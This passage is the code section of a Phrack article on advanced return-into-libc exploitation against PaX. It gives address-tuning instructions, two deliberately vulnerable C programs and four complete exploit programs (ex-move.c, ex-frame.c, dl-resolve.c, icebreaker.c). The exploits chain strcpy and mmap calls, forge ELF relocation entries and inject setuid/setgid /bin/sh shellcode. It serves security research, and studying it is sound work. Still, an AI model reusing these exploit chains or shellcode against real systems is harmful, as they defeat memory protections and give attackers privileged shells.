http://www.securityfocus.com/archive/1/58864 [6] Gerardo Richarte, "Re: Future of buffer overflows ?" http://www.securityfocus.com/archive/1/142683 [7] PaX team PaX http://pageexec.virtualave.net [8] segvguard ftp://ftp.pl.openwall.com/misc/segvguard/ [9] ELF specification http://fileformat.virtualave.net/programm/elf11g.zip [10] Paul Starzetz Runtime addressSpace Extender http://www.ihaquer.com/software/rsx/ [11] Wojciech Purczynski kNoX http://cliph.linux.pl/knox [12] grugq "Cheating the ELF" http://hcunix.7350.org/grugq/doc/subversiveld.pdf <++> phrack-nergal/README.code !35fb8b53 The advanced return-into-lib(c) exploits: PaX case study Comments on the sample exploit code by Nergal First, you have to prepare the sample vulnerable programs: $ gcc -o vuln.omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c $ gcc -o pax pax.c You may strip the binaries if you wish. I. ex-move.c ~~~~~~~~~~~~ At the top of ex-move.c, there are definitions for LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES constants. You have to correct them. MMAP_START can be left untouched. 1) LIBC [nergal@behemoth pax]$ ldd ./vuln.omit libc.so.6 => /lib/libc.so.6 (0x4001e000) <- this is our address /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) 2) STRCPY [nergal@behemoth pax]$ objdump -T vuln.omit vuln.omit: file format elf32-i386 DYNAMIC SYMBOL TABLE: 08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info 08048358 DF *UND* 0000010c GLIBC_2.0 getenv 08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info 08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main 08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize 08048530 g DO .rodata 00000004 Base _IO_stdin_used 00000000 w D *UND* 00000000 __gmon_start__ 08048398 DF *UND* 00000030 GLIBC_2.0 strcpy ^ |---- this is the address we seek 3) MMAP [nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap 000daf10 w DF .text 0000003a GLIBC_2.0 mmap 000db050 w DF .text 000000a0 GLIBC_2.1 mmap64 The address we need is 000daf10, then. 4) POPSTACK We have to find "add $imm,%esp" followed by "ret". We must disassemble vuln.omit with the command "objdump --disassemble ./vuln.omit". To simplify, we can use [nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret ...some crap -- 80484be: 83 c4 2c add $0x2c,%esp 80484c1: c3 ret -- 80484fe: 5d pop %ebp 80484ff: c3 ret -- ...more crap We have found the esp moving instructions at 0x80484be. 5) POPNUM This is the amount of bytes which are added to %esp in POPSTACK. In the previous example, it was 0x2c. 6) PLAIN_RET The address of a "ret" instruction. As we can see in the disassembler output, there is one at 0x80484c1. 7) FRAMES Now, the tough part. We have to find the %esp value just after the overflow (our overflow payload will be there). So, we will make vuln.omit dump core (alternatively, we could trace it with a debugger). Having adjusted all previous #defines, we run ex-move with a "testing" argument, which will put 0x5060708 into saved %eip. [nergal@behemoth pax]$ ./ex-move testing Segmentation fault (core dumped) <- all OK [nergal@behemoth pax]$ gdb ./vuln.omit core (no debugging symbols found)... Core was generated by ./vuln.omit'. Program terminated with signal 11, Segmentation fault. #0 0x5060708 in ?? () If in the %eip there is other value than 0x5060708, this means that we have to align our overflow payload. If necessary, "scratch" array in "struct ov" should be re-sized. (gdb) info regi ... esp 0xbffffde0 0xbffffde0 ... The last value we need is 0xbffffde0. II. ex-frame.c ~~~~~~~~~~~~~~ Again LIBC, STRCPY, MMAP, LEAVERET and FRAMES must be adjusted. LIBC, STRCPY, MMAP and FRAMES should be determined in exactly the same way like in case of ex-move.c. LEAVERET should be the address of a "leave; ret" sequence; we can find it with [nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1 objdump: vuln: no symbols 8048335: c9 leave 8048336: c3 ret -- 80484bd: c9 leave 80484be: c3 ret -- 8048518: c9 leave 8048519: c3 ret So, we may use 0x80484bd for our purposes. III. dl-resolve.c ~~~~~~~~~~~~~~~~~ We have to adjust STRTAB, SYMTAB, JMPREL, VERSYM and PLT_SECTION defines. As they refer to dl-resolve binary itself, we have to compile it twice with the same compiler options. For the first compilation, we can #define dummy values. Then, we run [nergal@behemoth pax]$ objdump -x dl-resolve In the output, we see: [...crap...] Dynamic Section: NEEDED libc.so.6 INIT 0x804839c FINI 0x80486ec HASH 0x8048128 STRTAB 0x8048240 (!!!) SYMTAB 0x8048170 (!!!) STRSZ 0xa1 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x80497a8 PLTRELSZ 0x48 PLTREL 0x11 JMPREL 0x8048354 (!!!) REL 0x8048344 RELSZ 0x10 RELENT 0x8 VERNEED 0x8048314 VERNEEDNUM 0x1 VERSYM 0x80482f8 (!!!) The PLT_SECTION can also be retrieved from "objdump -x" output [...crap...] Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 080480f4 080480f4 000000f4 2**0 ... 11 .plt 000000a0 080483cc 080483cc 000003cc 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE So, we should use 0x080483cc for our purposes. Having adjusted the defines, you should compile dl-resolve.c again. Then run it under strace. At the end, there should be something like: old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000 _exit(123) = ? As we see, mmap() is called, though it was not present in dl-resolve.c's PLT. Of course, I could have added the shellcode execution, but this would unnecessarily complicate this proof-of-concept code. IV. icebreaker.c ~~~~~~~~~~~~~~~~ Nine #defines have to be adjusted. Most of them have already been explained. Two remain: FRAMESINDATA and VIND. 1) FRAMESINDATA This is the location of a static (or malloced) variable where the fake frames are copied to. In case of pax.c, we need to find the address of "bigbuf" array. If the attacked binary was not stripped, it would be easy. Otherwise, we have to analyse the disassembler output. The "bigbuf" variable is present in the arguments to "strncat" function in pax.x, line 13: strncat(bigbuf, ptr, sizeof(bigbuf)-1); So we may do: [nergal@behemoth pax]$ objdump -T pax | grep strncat 0804836c DF *UND* 0000009e GLIBC_2.0 strncat [nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3 <- _not_ 0804836c objdump: pax: no symbols 8048362: ff 25 c8 95 04 08 jmp *0x80495c8 8048368: 00 00 add %al,(%eax) 804836a: 00 00 add %al,(%eax) 804836c: ff 25 cc 95 04 08 jmp *0x80495cc -- 80484e5: 68 ff 03 00 00 push $0x3ff <- 1023 80484ea: ff 75 e4 pushl 0xffffffe4(%ebp) <- ptr 80484ed: 68 c0 9a 04 08 push $0x8049ac0 <- bigbuf 80484f2: e8 75 fe ff ff call 0x804836c So, the address of bigbuf is 0x8049ac0. 2) VIND As mentioned in the phrack article, we have to determine [lowaddr, hiaddr] bounds, then search for a null short int in the interval [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]. [nergal@behemoth pax]$ gdb ./icebreaker (gdb) set args testing (gdb) r Starting program: /home/nergal/pax/./icebreaker testing Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x4ffb7d30 in ?? () <- icebreaker executed pax (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x5060708 in ?? () <- pax has segfaulted (gdb) shell [nergal@behemoth pax]$ ps ax | grep pax 1419 pts/0 T 0:00 pax [nergal@behemoth pax]$ cat /proc/1419/maps 08048000-08049000 r-xp 00000000 03:45 100958 /home/nergal/pax/pax 08049000-0804a000 rw-p 00000000 03:45 100958 /home/nergal/pax/pax ^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr 4ffb6000-4ffcc000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4ffcc000-4ffcd000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4ffcd000-4ffce000 rw-p 00000000 00:00 0 4ffd4000-500ef000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 500ef000-500f5000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 500f5000-500f9000 rw-p 00000000 00:00 0 bfff6000-bfff8000 rw-p fffff000 00:00 0 [nergal@behemoth pax]$ exit exit (gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8 0x804847b (gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8 0x804867b /* so, we search for a null short in [0x804847b, 0x804867b] (gdb) printf "0x%x\n", 0x804867b-0x804847b 0x200 (gdb) x/256hx 0x804847b ... a lot of beautiful 0000 in there... Now read the section 6.2 in the phrack article, or just try a few of the addresses found. <--> <++> phrack-nergal/vuln.c !a951b08a #include #include int main(int argc, char ** argv) { char buf[16]; char * ptr = getenv("LNG"); if (ptr) strcpy(buf,ptr); } <--> <++> phrack-nergal/ex-move.c !81bb65d0 /* by Nergal */ #include #include #include #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define POPSTACK 0x80484be #define PLAIN_RET 0x80484c1 #define POPNUM 0x2c #define FRAMES 0xbffffde0 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* This is a stack frame of a function which takes two arguments */ struct two_arg { unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; /* The beginning of our overflow payload. Consumes the buffer space and overwrites %eip */ struct ov { char scratch[28]; unsigned int eip; }; /* The second part ot the payload. Four functions will be called: strcpy, strcpy, mmap, strcpy */ struct ourbuf { struct two_arg zero1; char pad1[8 + POPNUM - sizeof(struct two_arg)]; struct two_arg zero2; char pad2[8 + POPNUM - sizeof(struct two_arg)]; struct mmap_args mymmap; char pad3[8 + POPNUM - sizeof(struct mmap_args)]; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) //#define PTR_TO_NULL 0x80484a7 main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.eip = 0x05060708; } else { /* To make the code easier to read, we initially return into "ret". This will return into the address at the beginning of our "zero1" struct. */ theov.eip = PLAIN_RET; } memset(&thebuf, 'Y', sizeof(thebuf)); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = POPSTACK; /* The following assignment puts into "param1" the address of the least significant byte of the "offset" field of "mmap_args" structure. This byte will be nullified by the strcpy call. */ thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = POPSTACK; /* Also the "start" field must be the multiple of page. We have to nullify its least significant byte with a strcpy call. */ thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = POPSTACK; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; /* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such case, we would need more zeroing. */ thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* Same as above. Be careful not to include MAP_GROWS_DOWN */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; /* The final "strcpy" call will copy the shellcode into the freshly mmapped area at MMAP_START. Then, it will return not anymore into POPSTACK, but at MMAP_START+1. */ thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln.omit", "./vuln.omit", 0, env, 0); } <--> <++> phrack-nergal/pax.c !af6a33c4 #include #include char spare[1024]; char bigbuf[1024]; int main(int argc, char ** argv) { char buf[16]; char * ptr=getenv("STR"); if (ptr) { bigbuf[0]=0; strncat(bigbuf, ptr, sizeof(bigbuf)-1); } ptr=getenv("LNG"); if (ptr) strcpy(buf, ptr); } <--> <++> phrack-nergal/ex-frame.c !a3f70c5e /* by Nergal */ #include #include #include #define LIBC 0x4001e000 #define STRCPY 0x08048398 #define MMAP (0x000daf10+LIBC) #define LEAVERET 0x80484bd #define FRAMES 0xbffffe30 #define MMAP_START 0xaa011000 char hellcode[] = "\x90" "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* See the comments in ex-move.c */ struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_args { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; struct ourbuf { struct two_arg zero1; struct two_arg zero2; struct mmap_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; }; #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf)) main(int argc, char **argv) { char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1]; char *env[2] = { lg, 0 }; struct ourbuf thebuf; struct ov theov; int i; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMES; theov.eip = LEAVERET; } thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2); thebuf.zero1.func = STRCPY; thebuf.zero1.leave_ret = LEAVERET; thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, offset); thebuf.zero1.param2 = PTR_TO_NULL; thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap); thebuf.zero2.func = STRCPY; thebuf.zero2.leave_ret = LEAVERET; thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_args, start); thebuf.zero2.param2 = PTR_TO_NULL; thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans); thebuf.mymmap.func = MMAP; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START + 1; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; /* again, careful not to include MAP_GROWS_DOWN below */ thebuf.mymmap.flags = 0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021001; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); strncpy(thebuf.hell, hellcode, strlen(hellcode)); strcpy(lg, "LNG="); memcpy(lg + 4, &theov, sizeof(theov)); memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf)); lg[4 + sizeof(thebuf) + sizeof(theov)] = 0; if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) { fprintf(stderr, "size=%i len=%i; zero(s) in the payload, correct it.\n", sizeof(struct ov) + sizeof(struct ourbuf) + 4, strlen(lg)); exit(1); } execle("./vuln", "./vuln", 0, env, 0); } <--> <++> phrack-nergal/dl-resolve.c !d5fc32b7 /* by Nergal */ #include #include #include #include #define STRTAB 0x8048240 #define SYMTAB 0x8048170 #define JMPREL 0x8048354 #define VERSYM 0x80482f8 #define PLT_SECTION "0x080483cc" void graceful_exit() { exit(123); } void doit(int offset) { int res; __asm__ volatile (" pushl $0x01011000 pushl $0xffffffff pushl $0x00000032 pushl $0x00000007 pushl $0x01011000 pushl $0xaa011000 pushl %%ebx pushl %%eax pushl $" PLT_SECTION " ret" :"=a"(res) :"0"(offset), "b"(graceful_exit) ); } /* this must be global */ Elf32_Rel reloc; #define ANYTHING 0xfe #define RQSIZE 60000 int main(int argc, char **argv) { unsigned int reloc_offset; unsigned int real_index; char symbol_name[16]; int dummy_writable_int; char *tmp = malloc(RQSIZE); Elf32_Sym *sym; unsigned short *null_short = (unsigned short*) tmp; /* create a null index into VERSYM */ *null_short = 0; real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short); sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB); if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) { fprintf(stderr, "mmap symbol entry is too far, increase RQSIZE\n"); exit(1); } strcpy(symbol_name, "mmap"); sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB; sym->st_value = (unsigned int) &dummy_writable_int; sym->st_size = ANYTHING; sym->st_info = ANYTHING; sym->st_other = ANYTHING & ~3; sym->st_shndx = ANYTHING; reloc_offset = (unsigned int) (&reloc) - JMPREL; reloc.r_info = R_386_JMP_SLOT + real_index*256; reloc.r_offset = (unsigned int) &dummy_writable_int; doit(reloc_offset); printf("not reached\n"); return 0; } <--> <++> phrack-nergal/icebreaker.c !19d7ec6d /* by Nergal */ #include #include #include #include #include #include #define STRCPY 0x080483cc #define LEAVERET 0x08048359 #define FRAMESINDATA 0x08049ac0 #define STRTAB 0x8048204 #define SYMTAB 0x8048164 #define JMPREL 0x80482f4 #define VERSYM 0x80482a8 #define PLT 0x0804835c #define VIND 0x804859b #define MMAP_START 0xaa011000 char hellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in our payload. So, we shift the name by 1 (one 'x'). */ #define NAME_ADD_OFF 1 char mmap_string[] = "xmmap"; struct two_arg { unsigned int new_ebp; unsigned int func; unsigned int leave_ret; unsigned int param1; unsigned int param2; }; struct mmap_plt_args { unsigned int new_ebp; unsigned int put_plt_here; unsigned int reloc_offset; unsigned int leave_ret; unsigned int start; unsigned int length; unsigned int prot; unsigned int flags; unsigned int fd; unsigned int offset; }; struct my_elf_rel { unsigned int r_offset; unsigned int r_info; }; struct my_elf_sym { unsigned int st_name; unsigned int st_value; unsigned int st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* ELF spec say: No defined meaning, 0 */ unsigned short st_shndx; /* Section index */ }; struct ourbuf { struct two_arg reloc; struct two_arg zero[8]; struct mmap_plt_args mymmap; struct two_arg trans; char hell[sizeof(hellcode)]; struct my_elf_rel r; struct my_elf_sym sym; char mmapname[sizeof(mmap_string)]; }; struct ov { char scratch[24]; unsigned int ebp; unsigned int eip; }; #define PTR_TO_NULL (VIND+1) /* this functions prepares strcpy frame so that the strcpy call will zero a byte at "addr" */ void fix_zero(struct ourbuf *b, unsigned int addr, int idx) { b->zero[idx].new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero) + sizeof(struct two_arg) * (idx + 1); b->zero[idx].func = STRCPY; b->zero[idx].leave_ret = LEAVERET; b->zero[idx].param1 = addr; b->zero[idx].param2 = PTR_TO_NULL; } /* this function checks if the byte at position "offset" is zero; if so, prepare a strcpy frame to nullify it; else, prepare a strcpy frame to nullify some secure, unused location */ void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, FRAMESINDATA + offset, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum); } /* same as above, but prepare to nullify a byte not in our payload, but at absolute address abs */ void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset, int zeronum) { char *ptr = (char *) b; if (!ptr[offset]) { fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum, offset); ptr[offset] = 0xff; fix_zero(b, (unsigned int) addr, zeronum); } else fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4, zeronum); } int main(int argc, char **argv) { char lng[sizeof(struct ov) + 4 + 1]; char str[sizeof(struct ourbuf) + 4 + 1]; char *env[3] = { lng, str, 0 }; struct ourbuf thebuf; struct ov theov; int i; unsigned int real_index, mysym, reloc_offset; memset(theov.scratch, 'X', sizeof(theov.scratch)); if (argc == 2 && !strcmp("testing", argv[1])) { for (i = 0; i < sizeof(theov.scratch); i++) theov.scratch[i] = i + 0x10; theov.ebp = 0x01020304; theov.eip = 0x05060708; } else { theov.ebp = FRAMESINDATA; theov.eip = LEAVERET; } strcpy(lng, "LNG="); memcpy(lng + 4, &theov, sizeof(theov)); lng[4 + sizeof(theov)] = 0; memset(&thebuf, 'A', sizeof(thebuf)); real_index = (VIND - VERSYM) / 2; mysym = SYMTAB + 16 * real_index; fprintf(stderr, "mysym=0x%x\n", mysym); if (mysym > FRAMESINDATA && mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) { fprintf(stderr, "syment intersects our payload;" " choose another VIND or FRAMESINDATA\n"); exit(1); } reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL; /* This strcpy call will relocate my_elf_sym from our payload to a fixed, appropriate location (mysym) */ thebuf.reloc.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero); thebuf.reloc.func = STRCPY; thebuf.reloc.leave_ret = LEAVERET; thebuf.reloc.param1 = mysym; thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym); thebuf.mymmap.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, trans); thebuf.mymmap.put_plt_here = PLT; thebuf.mymmap.reloc_offset = reloc_offset; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; thebuf.mymmap.flags = 0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021000; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); memcpy(thebuf.hell, hellcode, strlen(hellcode)); thebuf.r.r_info = 7 + 256 * real_index; thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4; thebuf.sym.st_name = FRAMESINDATA + offsetof(struct ourbuf, mmapname) + NAME_ADD_OFF- STRTAB; thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4; #define ANYTHING 0xfefefe80 thebuf.sym.st_size = ANYTHING; thebuf.sym.st_info = (unsigned char) ANYTHING; thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3; thebuf.sym.st_shndx = (unsigned short) ANYTHING; strcpy(thebuf.mmapname, mmap_string); /* setup_zero[_abs] functions prepare arguments for strcpy calls, which are to nullify certain bytes */ setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 2, 0); setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 3, 1); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 2, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 2, 2); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 3, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 3, 3); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, start), 4); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, offset), 5); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 2, 6); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 3, 7); strcpy(str, "STR="); memcpy(str + 4, &thebuf, sizeof(thebuf)); str[4 + sizeof(thebuf)] = 0; if (sizeof(struct ourbuf) + 4 > strlen(str) + sizeof(thebuf.mmapname)) { fprintf(stderr, "Zeroes in the payload, sizeof=%d, len=%d, correct it !\n", sizeof(struct ourbuf) + 4, strlen(str)); fprintf(stderr, "sizeof thebuf.mmapname=%d\n", sizeof(thebuf.mmapname)); exit(1); } execle("./pax", "pax", 0, env, 0); return 1; } <-->